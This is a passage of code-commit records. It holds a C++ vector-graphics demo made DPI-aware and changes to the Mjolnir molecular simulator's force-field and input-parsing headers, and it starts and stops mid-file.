&)d2);\r\n\r\n\tMainDialog::PumpMessages();\r\n}\r\n<commit_msg>Sandbox app is now DPI-aware<commit_after>#include \"MainDialog.h\"\r\n\r\n#include \"..\/common\/bouncing.h\"\r\n#include \"..\/common\/paths.h\"\r\n#include \"..\/common\/timing.h\"\r\n\r\n#include <agge\/blenders_simd.h>\r\n#include <agge\/clipper.h>\r\n#include <agge\/dash.h>\r\n#include <agge\/math.h>\r\n#include <agge\/rasterizer.h>\r\n#include <agge\/renderer_parallel.h>\r\n#include <agge\/stroke.h>\r\n#include <agge\/stroke_features.h>\r\n\r\n#include <aggx\/blenders.h>\r\n\r\n#include <aggx\/aggx_ellipse.h>\r\n\r\n#include <agg_conv_stroke.h>\r\n#include <agg_rasterizer_sl_clip.h>\r\n#include <agg_ellipse.h>\r\n#include <agg_pixfmt_rgba.h>\r\n#include <agg_renderer_base.h>\r\n#include <agg_scanline_u.h>\r\n#include <agg_rasterizer_scanline_aa.h>\r\n#include <agg_renderer_scanline.h>\r\n\r\nusing namespace std;\r\nusing namespace demo;\r\n\r\nconst int c_thread_count = 1;\r\nconst bool c_use_original_agg = false;\r\nconst int c_balls_number = 0;\r\ntypedef agge::simd::blender_solid_color blender_used;\r\n\r\nnamespace\r\n{\r\n\tclass unlimited_miter : public agge::stroke::join\r\n\t{\r\n\tpublic:\r\n\t\tvirtual void calc(agge::points &output, agge::real_t w, const agge::point_r &v0, agge::real_t d01,\r\n\t\t\tconst agge::point_r &v1, agge::real_t d12, const agge::point_r &v2) const\r\n\t\t{\r\n\t\t\tusing namespace agge;\r\n\r\n\t\t\td01 = w \/ d01;\r\n\t\t\td12 = w \/ d12;\r\n\r\n\t\t\tconst real_t dx1 = d01 * (v1.y - v0.y);\r\n\t\t\tconst real_t dy1 = d01 * (v1.x - v0.x);\r\n\t\t\tconst real_t dx2 = d12 * (v2.y - v1.y);\r\n\t\t\tconst real_t dy2 = d12 * (v2.x - v1.x);\r\n\r\n\t\t\treal_t xi, yi;\r\n\r\n\t\t\tif (calc_intersection(v0.x + dx1, v0.y - dy1, v1.x + dx1, v1.y - dy1,\r\n\t\t\t\tv1.x + dx2, v1.y - dy2, v2.x + dx2, v2.y - dy2, &xi, &yi))\r\n\t\t\t{\r\n\t\t\t\toutput.push_back(create_point(xi, yi));\r\n\t\t\t}\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tAGGE_INLINE static bool calc_intersection(agge::real_t ax, agge::real_t ay, agge::real_t bx, agge::real_t by,\r\n\t\t\tagge::real_t cx, agge::real_t cy, agge::real_t dx, agge::real_t dy, agge::real_t *x, agge::real_t *y)\r\n\t\t{\r\n\t\t\tusing namespace agge;\r\n\r\n\t\t\treal_t num = (ay-cy) * (dx-cx) - (ax-cx) * (dy-cy);\r\n\t\t\treal_t den = (bx-ax) * (dy-cy) - (by-ay) * (dx-cx);\r\n\t\t\tif (fabs(den) < distance_epsilon)\r\n\t\t\t\treturn false;\t\r\n\t\t\treal_t r = num \/ den;\r\n\t\t\t*x = ax + r * (bx-ax);\r\n\t\t\t*y = ay + r * (by-ay);\r\n\t\t\treturn true;\r\n\t\t}\r\n\t};\r\n\r\n\tagge::simd::blender_solid_color::pixel make_pixel(aggx::rgba8 color)\r\n\t{\r\n\t\tagge::simd::blender_solid_color::pixel p = { color.b, color.g, color.r, 0 };\r\n\t\treturn p;\r\n\t}\r\n\r\n\ttemplate <typename BlenderT>\r\n\tclass blender : public BlenderT\r\n\t{\r\n\tpublic:\r\n\t\tblender(aggx::rgba8 color)\r\n\t\t\t: BlenderT(make_pixel(color), color.a)\r\n\t\t{\t}\r\n\t};\r\n\r\n\ttemplate <int precision>\r\n\tstruct calculate_alpha\r\n\t{\r\n\t\tunsigned int operator ()(int area) const\r\n\t\t{\r\n\t\t\tarea >>= precision + 1;\r\n\t\t\tif (area < 0)\r\n\t\t\t\tarea = -area;\r\n\t\t\tif (area > 255)\r\n\t\t\t\tarea = 255;\r\n\t\t\treturn area;\r\n\t\t}\r\n\t};\r\n\r\n\ttemplate <typename LinesSinkT, typename PathT>\r\n\tvoid add_path(LinesSinkT &sink, PathT &path)\r\n\t{\r\n\t\tusing namespace agge;\r\n\r\n\t\treal_t x, y;\r\n\r\n\t\tpath.rewind(0);\r\n\t\tfor (int command; command = path.vertex(&x, &y), path_command_stop != command; )\r\n\t\t{\r\n\t\t\tif (path_command_line_to == (command & path_command_mask))\r\n\t\t\t\tsink.line_to(x, y);\r\n\t\t\telse if (path_command_move_to == (command & path_command_mask))\r\n\t\t\t\tsink.move_to(x, y);\r\n\t\t\tif (command & path_flag_close)\r\n\t\t\t\tsink.close_polygon();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tclass bitmap_rendering_buffer\r\n\t{\r\n\tpublic:\r\n\t\ttypedef unsigned int pixel_type;\r\n\t\ttypedef agg::const_row_info<pixel_type> row_data;\r\n\r\n\tpublic:\r\n\t\tbitmap_rendering_buffer(::bitmap &target)\r\n\t\t\t: _target(target)\r\n\t\t{\t}\r\n\r\n\t\tpixel_type *row_ptr(int, int y, int)\r\n\t\t{\treturn reinterpret_cast<pixel_type *>(_target.row_ptr(y));\t}\r\n\r\n\t\tunsigned int width() const\r\n\t\t{\treturn _target.width();\t}\r\n\r\n\t\tunsigned int height() const\r\n\t\t{\treturn _target.height();\t}\r\n\r\n\tprivate:\r\n\t\t::bitmap &_target;\r\n\t};\r\n\r\n\r\n\r\n\tclass agg_drawer : public Drawer\r\n\t{\r\n\tpublic:\r\n\t\ttypedef blender<blender_used> solid_color_brush;\r\n\t\ttypedef agg::pixfmt_alpha_blend_rgba<agg::blender_bgra32, bitmap_rendering_buffer> pixfmt;\r\n\t\ttypedef agg::rgba8 color_type;\r\n\t\ttypedef agg::order_bgra component_order;\r\n\t\ttypedef agg::renderer_base<pixfmt> renderer_base;\r\n\t\ttypedef agg::renderer_scanline_aa_solid<renderer_base> renderer_aa;\r\n\r\n\tpublic:\r\n\t\tagg_drawer()\r\n\t\t\t: _balls(c_balls)\r\n\t\t{ _balls.resize(c_balls_number);\t}\r\n\r\n\tprivate:\r\n\t\tvirtual void draw(::bitmap &surface, Timings &timings)\r\n\t\t{\r\n\t\t\tLARGE_INTEGER counter;\r\n\t\t\tconst float dt = 0.3f * (float)stopwatch(_balls_timer);\r\n\r\n\t\t\tstopwatch(counter);\r\n\t\t\t\tagge::fill(surface, solid_color_brush(aggx::rgba8(255, 255, 255)));\r\n\t\t\ttimings.clearing += stopwatch(counter);\r\n\r\n\t\t\tstopwatch(counter);\r\n\t\t\t\tagg_path_adaptor p(_spiral);\r\n\r\n\t\t\t\tif (!_stroke.get())\r\n\t\t\t\t\t_stroke.reset(new agg::conv_stroke<agg_path_adaptor>(p));\r\n\t\t\t\telse\r\n\t\t\t\t\t_stroke->attach(p);\r\n\r\n\t\t\t\t_stroke->width(3);\r\n\t\t\t\t_stroke->line_join(agg::bevel_join);\r\n\t\t\t\t_spiral_flattened.clear();\r\n\t\t\t\tflatten<double>(_spiral_flattened, *_stroke);\r\n\t\t\ttimings.stroking += stopwatch(counter);\r\n\r\n\t\t\tbitmap_rendering_buffer rbuf(surface);\r\n\t\t\tpixfmt pixf(rbuf);\r\n\t\t\trenderer_base rb(pixf);\r\n\t\t\trenderer_aa ren_aa(rb);\r\n\r\n\t\t\tif (_balls.empty())\r\n\t\t\t{\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\t_rasterizer.add_path(agg_path_adaptor(_spiral_flattened));\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\tren_aa.color(agg::rgba8(0, 154, 255, 255));\r\n\t\t\t\tagg::render_scanlines(_rasterizer, _scanline, ren_aa);\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t}\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\tdemo::move_and_bounce(b, dt, surface.width(), surface.height());\r\n\t\t\t});\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\tagg::ellipse e(b.x, b.y, b.radius, b.radius);\r\n\r\n\t\t\t\t_rasterizer.reset();\r\n\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\t_rasterizer.add_path(e);\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\tren_aa.color(agg::rgba8(b.color.r, b.color.g, b.color.b, b.color.a));\r\n\t\t\t\tagg::render_scanlines(_rasterizer, _scanline, ren_aa);\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t});\r\n\t\t}\r\n\r\n\t\tvirtual void resize(int width, int height)\r\n\t\t{\r\n\t\t\t_spiral.clear();\r\n\t\t\tspiral(_spiral, width \/ 2, height \/ 2, 5, (std::min)(width, height) \/ 2 - 10, 1, 0);\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tagg::rasterizer_scanline_aa<agg::rasterizer_sl_no_clip> _rasterizer;\r\n\t\tagg::scanline_u8 _scanline;\r\n\t\tAggPath _spiral, _spiral_flattened;\r\n\t\tLARGE_INTEGER _balls_timer;\r\n\t\tvector<demo::ball> _balls;\r\n\t\tauto_ptr< agg::conv_stroke<agg_path_adaptor> > _stroke;\r\n\t};\r\n\r\n\r\n\tclass agge_drawer : public Drawer\r\n\t{\r\n\tpublic:\r\n\t\ttypedef blender<blender_used> solid_color_brush;\r\n\r\n\tpublic:\r\n\t\tagge_drawer()\r\n\t\t\t: _renderer(c_thread_count), _balls(c_balls)\r\n\t\t{\r\n\t\t\t_balls.resize(c_balls_number);\r\n\t\t\t_dash.add_dash(15.0f, 4.0f);\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tvirtual void draw(::bitmap &surface, Timings &timings)\r\n\t\t{\r\n\t\t\tLARGE_INTEGER counter;\r\n\t\t\tconst float dt = 0.3f * (float)stopwatch(_balls_timer);\r\n\r\n\t\t\t_rasterizer.reset();\r\n\r\n\t\t\tstopwatch(counter);\r\n\t\t\t\tagge::fill(surface, solid_color_brush(aggx::rgba8(255, 255, 255)));\r\n\t\t\ttimings.clearing += stopwatch(counter);\r\n\r\n\t\t\tif (_balls.empty())\r\n\t\t\t{\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\t\tagg_path_adaptor p(_spiral);\r\n\t\t\t\t\tagge::path_generator_adapter<agg_path_adaptor, agge::stroke> path_stroke1(p, _stroke1);\r\n\t\t\t\t\tagge::path_generator_adapter<agge::path_generator_adapter<agg_path_adaptor, agge::stroke>, agge::stroke> path_stroke2(path_stroke1, _stroke2);\r\n\r\n\t\t\t\t\tagge::path_generator_adapter<agg_path_adaptor, agge::dash> path_stroke3(p, _dash);\r\n\t\t\t\t\tagge::path_generator_adapter<agge::path_generator_adapter<agg_path_adaptor, agge::dash>, agge::stroke> path_stroke4(path_stroke3, _stroke1);\r\n\t\t\t\t\tagge::path_generator_adapter<agge::path_generator_adapter<agge::path_generator_adapter<agg_path_adaptor, agge::dash>, agge::stroke>, agge::stroke> path_stroke5(path_stroke4, _stroke2);\r\n\r\n\t\t\t\t\t_stroke1.width(3.0f);\r\n\t\t\t\t\t_stroke1.set_cap(agge::caps::butt());\r\n\t\t\t\t\t_stroke1.set_join(unlimited_miter());\r\n\r\n\t\t\t\t\t_stroke2.width(1.2f);\r\n\t\t\t\t\t_stroke2.set_cap(agge::caps::butt());\r\n\t\t\t\t\t_stroke2.set_join(unlimited_miter());\r\n\r\n\t\t\t\t\t_spiral_flattened.clear();\r\n\t\t\t\t\tflatten<agge::real_t>(_spiral_flattened, path_stroke5);\r\n\t\t\t\ttimings.stroking += stopwatch(counter);\r\n\r\n\t\t\t\tsolid_color_brush brush(aggx::rgba8(0, 154, 255, 230));\r\n\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\tadd_path(_rasterizer, agg_path_adaptor(_spiral_flattened));\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\t_renderer(surface, 0, _rasterizer, brush, calculate_alpha<agge::vector_rasterizer::_1_shift>());\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t}\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\tdemo::move_and_bounce(b, dt, surface.width(), surface.height());\r\n\t\t\t});\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\taggx::ellipse e(b.x, b.y, b.radius, b.radius);\r\n\r\n\t\t\t\t_rasterizer.reset();\r\n\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\tadd_path(_rasterizer, e);\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\t_renderer(surface, 0, _rasterizer, agge_drawer::solid_color_brush(b.color), calculate_alpha<agge::vector_rasterizer::_1_shift>());\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t});\r\n\t\t}\r\n\r\n\t\tvirtual void resize(int width, int height)\r\n\t\t{\r\n\t\t\t_spiral.clear();\r\n\t\t\tspiral(_spiral, width \/ 2, height \/ 2, 5, (std::min)(width, height) \/ 2 - 10, 1, 0);\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tagge::rasterizer< agge::clipper<int> > _rasterizer;\r\n\t\t__declspec(align(16)) agge::renderer_parallel _renderer;\r\n\t\tAggPath _spiral, _spiral_flattened;\r\n\t\tLARGE_INTEGER _balls_timer;\r\n\t\tvector<demo::ball> _balls;\r\n\t\tagge::stroke _stroke1, _stroke2;\r\n\t\tagge::dash _dash;\r\n\t};\r\n}\r\n\r\n\r\nint main()\r\n{\r\n\t::SetProcessDPIAware();\r\n\r\n\tagg_drawer d1;\r\n\tagge_drawer d2;\r\n\r\n\tMainDialog dlg(c_use_original_agg ? (Drawer &)d1 : (Drawer &)d2);\r\n\r\n\tMainDialog::PumpMessages();\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#ifndef MJOLNIR_CORE_GLOBAL_FORCE_FIELD_HPP\n#define MJOLNIR_CORE_GLOBAL_FORCE_FIELD_HPP\n#include <mjolnir\/core\/GlobalInteractionBase.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <vector>\n#include <array>\n#include <memory>\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nclass GlobalForceField\n{\n public:\n using traits_type = traitsT;\n using real_type = typename traits_type::real_type;\n using coordinate_type = typename traits_type::coordinate_type;\n using boundary_type = typename traits_type::boundary_type;\n using system_type = System<traits_type>;\n using topology_type = Topology;\n using interaction_base = GlobalInteractionBase<traitsT>;\n using interaction_ptr = std::unique_ptr<interaction_base>;\n using container_type = std::vector<interaction_ptr>;\n using iterator = typename container_type::iterator;\n using const_iterator = typename container_type::const_iterator;\n\n public:\n GlobalForceField() = default;\n ~GlobalForceField() = default;\n GlobalForceField(GlobalForceField&&) = default;\n GlobalForceField& operator=(GlobalForceField&&) = default;\n\n GlobalForceField(const GlobalForceField& other)\n : interactions_(other.size())\n {\n std::transform(other.begin(), other.end(), this->interactions_.begin(),\n [](const interaction_ptr& interaction) -> interaction_ptr {\n return interaction_ptr(interaction->clone());\n });\n }\n GlobalForceField& operator=(const GlobalForceField& other)\n {\n this->interactions_.clear();\n this->interactions_.reserve(other.size());\n for(const auto& interaction : other)\n {\n this->emplace(interaction_ptr(interaction->clone()));\n }\n return *this;\n }\n\n void emplace(interaction_ptr&& inter)\n {\n interactions_.emplace_back(std::move(inter));\n return;\n }\n\n void initialize(const system_type& sys, const topology_type& topol)\n {\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n for(auto& item : this->interactions_)\n {\n MJOLNIR_LOG_INFO(\"initializing \", item->name());\n item->initialize(sys, topol);\n }\n return;\n }\n\n \/\/ to re-calculate parameters like temperature, ionic concentration, etc...\n void update(const system_type& sys, const topology_type& topol)\n {\n for(auto& item : this->interactions_)\n {\n item->update(sys, topol);\n }\n return;\n }\n\n \/\/ to reduce margin of neighbor list, and re-construct the list if needed\n void reduce_margin(const real_type dmargin, const system_type& sys)\n {\n for(auto& item : this->interactions_)\n {\n item->reduce_margin(dmargin, sys);\n }\n return;\n }\n void scale_margin(const real_type scale, const system_type& sys)\n {\n for(auto& item : this->interactions_)\n {\n item->scale_margin(scale, sys);\n }\n return;\n }\n\n\n void calc_force(system_type& sys) const noexcept\n {\n MJOLNIR_GET_DEFAULT_LOGGER_DEBUG();\n MJOLNIR_LOG_FUNCTION_DEBUG();\n\n for(const auto& item : this->interactions_)\n {\n MJOLNIR_LOG_DEBUG(\"interaction name is \", item->name());\n item->calc_force(sys);\n }\n return;\n }\n real_type calc_energy(const system_type& sys) const noexcept\n {\n real_type energy = 0.;\n for(const auto& item : this->interactions_)\n {\n energy += item->calc_energy(sys);\n }\n return energy;\n }\n real_type calc_force_and_energy(system_type& sys) const noexcept\n {\n \/\/ TODO speedup\n real_type energy = 0.;\n for(const auto& item : this->interactions_)\n {\n item->calc_force(sys);\n energy += item->calc_energy(sys);\n }\n return energy;\n }\n\n \/\/ basically, it is called only once at the begenning of a simulation.\n \/\/ this function do a lot of stuff, such as memory allocation, but it does\n \/\/ not affect runtime efficiency so much.\n std::vector<std::string> list_energy() const\n {\n std::vector<std::string> retval;\n for(const auto& i : interactions_)\n {\n retval.push_back(i->name());\n }\n return retval;\n }\n\n std::vector<real_type> dump_energy(const system_type& sys) const\n {\n std::vector<real_type> retval;\n for(const auto& i : interactions_)\n {\n retval.push_back(i->calc_energy(sys));\n }\n return retval;\n }\n\n bool empty() const noexcept {return interactions_.empty();}\n std::size_t size() const noexcept {return interactions_.size();}\n iterator begin() noexcept {return interactions_.begin();}\n iterator end() noexcept {return interactions_.end();}\n const_iterator begin() const noexcept {return interactions_.begin();}\n const_iterator end() const noexcept {return interactions_.end();}\n const_iterator cbegin() const noexcept {return interactions_.begin();}\n const_iterator cend() const noexcept {return interactions_.end();}\n\n private:\n\n container_type interactions_;\n};\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template class GlobalForceField<SimulatorTraits<double, UnlimitedBoundary>>;\nextern template class GlobalForceField<SimulatorTraits<float, UnlimitedBoundary>>;\nextern template class GlobalForceField<SimulatorTraits<double, CuboidalPeriodicBoundary>>;\nextern template class GlobalForceField<SimulatorTraits<float, CuboidalPeriodicBoundary>>;\n#endif\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_GLOBAL_FORCE_FIELD *\/\n<commit_msg>feat: use global calc_force_and_energy<commit_after>#ifndef MJOLNIR_CORE_GLOBAL_FORCE_FIELD_HPP\n#define MJOLNIR_CORE_GLOBAL_FORCE_FIELD_HPP\n#include <mjolnir\/core\/GlobalInteractionBase.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <vector>\n#include <array>\n#include <memory>\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nclass GlobalForceField\n{\n public:\n using traits_type = traitsT;\n using real_type = typename traits_type::real_type;\n using coordinate_type = typename traits_type::coordinate_type;\n using boundary_type = typename traits_type::boundary_type;\n using system_type = System<traits_type>;\n using topology_type = Topology;\n using interaction_base = GlobalInteractionBase<traitsT>;\n using interaction_ptr = std::unique_ptr<interaction_base>;\n using container_type = std::vector<interaction_ptr>;\n using iterator = typename container_type::iterator;\n using const_iterator = typename container_type::const_iterator;\n\n public:\n GlobalForceField() = default;\n ~GlobalForceField() = default;\n GlobalForceField(GlobalForceField&&) = default;\n GlobalForceField& operator=(GlobalForceField&&) = default;\n\n GlobalForceField(const GlobalForceField& other)\n : interactions_(other.size())\n {\n std::transform(other.begin(), other.end(), this->interactions_.begin(),\n [](const interaction_ptr& interaction) -> interaction_ptr {\n return interaction_ptr(interaction->clone());\n });\n }\n GlobalForceField& operator=(const GlobalForceField& other)\n {\n this->interactions_.clear();\n this->interactions_.reserve(other.size());\n for(const auto& interaction : other)\n {\n this->emplace(interaction_ptr(interaction->clone()));\n }\n return *this;\n }\n\n void emplace(interaction_ptr&& inter)\n {\n interactions_.emplace_back(std::move(inter));\n return;\n }\n\n void initialize(const system_type& sys, const topology_type& topol)\n {\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n for(auto& item : this->interactions_)\n {\n MJOLNIR_LOG_INFO(\"initializing \", item->name());\n item->initialize(sys, topol);\n }\n return;\n }\n\n \/\/ to re-calculate parameters like temperature, ionic concentration, etc...\n void update(const system_type& sys, const topology_type& topol)\n {\n for(auto& item : this->interactions_)\n {\n item->update(sys, topol);\n }\n return;\n }\n\n \/\/ to reduce margin of neighbor list, and re-construct the list if needed\n void reduce_margin(const real_type dmargin, const system_type& sys)\n {\n for(auto& item : this->interactions_)\n {\n item->reduce_margin(dmargin, sys);\n }\n return;\n }\n void scale_margin(const real_type scale, const system_type& sys)\n {\n for(auto& item : this->interactions_)\n {\n item->scale_margin(scale, sys);\n }\n return;\n }\n\n\n void calc_force(system_type& sys) const noexcept\n {\n MJOLNIR_GET_DEFAULT_LOGGER_DEBUG();\n MJOLNIR_LOG_FUNCTION_DEBUG();\n\n for(const auto& item : this->interactions_)\n {\n MJOLNIR_LOG_DEBUG(\"interaction name is \", item->name());\n item->calc_force(sys);\n }\n return;\n }\n real_type calc_energy(const system_type& sys) const noexcept\n {\n real_type energy = 0.;\n for(const auto& item : this->interactions_)\n {\n energy += item->calc_energy(sys);\n }\n return energy;\n }\n real_type calc_force_and_energy(system_type& sys) const noexcept\n {\n real_type energy = 0.;\n for(const auto& item : this->interactions_)\n {\n energy += item->calc_force_and_energy(sys);\n }\n return energy;\n }\n\n \/\/ basically, it is called only once at the begenning of a simulation.\n \/\/ this function do a lot of stuff, such as memory allocation, but it does\n \/\/ not affect runtime efficiency so much.\n std::vector<std::string> list_energy() const\n {\n std::vector<std::string> retval;\n for(const auto& i : interactions_)\n {\n retval.push_back(i->name());\n }\n return retval;\n }\n\n std::vector<real_type> dump_energy(const system_type& sys) const\n {\n std::vector<real_type> retval;\n for(const auto& i : interactions_)\n {\n retval.push_back(i->calc_energy(sys));\n }\n return retval;\n }\n\n bool empty() const noexcept {return interactions_.empty();}\n std::size_t size() const noexcept {return interactions_.size();}\n iterator begin() noexcept {return interactions_.begin();}\n iterator end() noexcept {return interactions_.end();}\n const_iterator begin() const noexcept {return interactions_.begin();}\n const_iterator end() const noexcept {return interactions_.end();}\n const_iterator cbegin() const noexcept {return interactions_.begin();}\n const_iterator cend() const noexcept {return interactions_.end();}\n\n private:\n\n container_type interactions_;\n};\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template class GlobalForceField<SimulatorTraits<double, UnlimitedBoundary>>;\nextern template class GlobalForceField<SimulatorTraits<float, UnlimitedBoundary>>;\nextern template class GlobalForceField<SimulatorTraits<double, CuboidalPeriodicBoundary>>;\nextern template class GlobalForceField<SimulatorTraits<float, CuboidalPeriodicBoundary>>;\n#endif\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_GLOBAL_FORCE_FIELD *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef MJOLNIR_INPUT_READ_INPUT_FILE_HPP\n#define MJOLNIR_INPUT_READ_INPUT_FILE_HPP\n#include <extlib\/toml\/toml.hpp>\n#include <mjolnir\/core\/BoundaryCondition.hpp>\n#include <mjolnir\/core\/SimulatorBase.hpp>\n#include <mjolnir\/core\/SimulatorTraits.hpp>\n#include <mjolnir\/core\/Unit.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <mjolnir\/input\/utility.hpp>\n#include <mjolnir\/input\/read_units.hpp>\n#include <mjolnir\/input\/read_path.hpp>\n\n#ifdef MJOLNIR_WITH_OPENMP\n#include <mjolnir\/omp\/omp.hpp>\n#endif\n\n#include <memory>\n\nnamespace mjolnir\n{\n\ntemplate<typename realT, template<typename, typename> class boundaryT>\nstd::unique_ptr<SimulatorBase>\nread_parallelism(const toml::value& root, const toml::value& simulator)\n{\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n\n if(simulator.as_table().count(\"parallelism\") == 0)\n {\n MJOLNIR_LOG_NOTICE(\"execute on single core\");\n return read_units<SimulatorTraits<realT, boundaryT>>(root, simulator);\n }\n\n const auto parallelism = toml::find(simulator, \"parallelism\");\n if(parallelism.is_string() && parallelism.as_string() == \"sequencial\")\n {\n MJOLNIR_LOG_NOTICE(\"execute on single core\");\n return read_units<SimulatorTraits<realT, boundaryT>>(root, simulator);\n }\n else if(parallelism.is_string() &&\n (parallelism.as_string() == \"openmp\" ||\n parallelism.as_string() == \"OpenMP\"))\n {\n#ifdef MJOLNIR_WITH_OPENMP\n MJOLNIR_LOG_NOTICE(\"execute on \", omp_get_max_threads() ,\" cores with openmp\");\n return read_units<OpenMPSimulatorTraits<realT, boundaryT>>(root, simulator);\n#else\n MJOLNIR_LOG_WARN(\"OpenMP flag is set, but OpenMP is not enabled when building.\");\n MJOLNIR_LOG_WARN(\"Cannot use OpenMP, running with single core.\");\n return read_units<SimulatorTraits<realT, boundaryT>>(root, simulator);\n#endif\n }\n else\n {\n throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n \"mjolnir::read_parallelism: invalid variable \",\n toml::find(simulator, \"parallelism\"), \"here\", {\n \"- \\\"sequencial\\\": run with only 1 core (default)\",\n \"- \\\"openmp\\\" : use openmp to parallelize.\"\n }));\n }\n}\n\ntemplate<typename realT>\nstd::unique_ptr<SimulatorBase>\nread_boundary(const toml::value& root, const toml::value& simulator)\n{\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n\n const auto boundary = toml::find<std::string>(simulator, \"boundary_type\");\n if(boundary == \"Unlimited\")\n {\n MJOLNIR_LOG_NOTICE(\"Boundary Condition is Unlimited\");\n return read_parallelism<realT, UnlimitedBoundary>(root, simulator);\n }\n else if(boundary == \"Periodic\")\n {\n MJOLNIR_LOG_NOTICE(\"Boundary Condition is Periodic. \"\n \"The shape is cuboid.\");\n return read_parallelism<realT, CuboidalPeriodicBoundary>(root, simulator);\n }\n else if(boundary == \"PeriodicCuboid\")\n {\n MJOLNIR_LOG_NOTICE(\"Boundary Condition is PeriodicCuboid\");\n return read_parallelism<realT, CuboidalPeriodicBoundary>(root, simulator);\n }\n else\n {\n throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n \"mjolnir::read_boundary: invalid boundary\",\n toml::find(simulator, \"boundary_type\"), \"here\", {\n \"- \\\"Unlimited\\\" : no boundary condition. infinite space\",\n \"- \\\"Periodic\\\" : periodic boundary. Assuming cuboidal shape.\",\n \"- \\\"PeriodicCuboid\\\": periodic boundary with cuboidal shape\"\n }));\n }\n}\n\ninline std::unique_ptr<SimulatorBase>\nread_precision(const toml::value& root, const toml::value& simulator)\n{\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n\n const auto prec = toml::find<std::string>(simulator, \"precision\");\n if(prec == \"double\")\n {\n MJOLNIR_LOG_NOTICE(\"precision is double\");\n return read_boundary<double>(root, simulator);\n }\n else if(prec == \"float\")\n {\n MJOLNIR_LOG_NOTICE(\"precision is float\");\n return read_boundary<float>(root, simulator);\n }\n else\n {\n throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n \"mjolnir::read_precision: invalid precision\",\n toml::find(simulator, \"precition\"), \"here\", {\n \"expected value is one of the following.\",\n \"- \\\"double\\\": 64 bit floating-point\",\n \"- \\\"float\\\" : 32 bit floating-point\"\n }));\n }\n}\n\ninline std::unique_ptr<SimulatorBase>\nread_input_file(const std::string& filename)\n{\n \/\/ here, logger name is not given yet. output status directory on console.\n std::cerr << \"-- reading and parsing toml file `\" << filename << \"` ... \";\n auto root = toml::parse(filename);\n std::cerr << \" successfully parsed.\" << std::endl;\n\n \/\/ initializing logger by using output_path and output_prefix ...\n const auto& output = toml::find(root, \"files\", \"output\");\n const auto out_path = read_output_path(root);\n\n \/\/ XXX: Here, this code assumes POSIX. it does not support windows.\n \/\/ TODO: Consider using Boost.filesystem to manage path and files\n \/\/ in more elegant and powerful way? After switching C++17,\n \/\/ we can re-write that with <filesystem>.\n const auto logger_name = out_path +\n toml::find<std::string>(output, \"prefix\") + \".log\";\n\n MJOLNIR_SET_DEFAULT_LOGGER(logger_name);\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n MJOLNIR_LOG_NOTICE(\"the log file is `\", logger_name, '`');\n\n \/\/ Check top-level toml-values. Since it uses logger to warn,\n \/\/ we need to call it after `MJOLNIR_SET_DEFAULT_LOGGER(logger_name)`.\n check_keys_available(root, {\"files\"_s, \"units\"_s, \"simulator\"_s,\n \"systems\"_s, \"forcefields\"_s});\n\n \/\/ load the input path in the [files] table and set it globally\n read_input_path(root);\n\n MJOLNIR_LOG_NOTICE(\"expanding include files ...\");\n expand_include(root);\n MJOLNIR_LOG_NOTICE(\"done.\");\n\n \/\/ the most of important flags are defined in [simulator], like\n \/\/ `precision = \"float\"`, `boundary_type = \"Unlimited\"`.\n \/\/ Those values should be read before others.\n const auto simulator = read_table_from_file(\n toml::find(root, \"simulator\"), \"simulator\");\n\n return read_precision(root, simulator);\n}\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template std::unique_ptr<SimulatorBase> read_parallelism<double, UnlimitedBoundary >(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> read_parallelism<float , UnlimitedBoundary >(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> 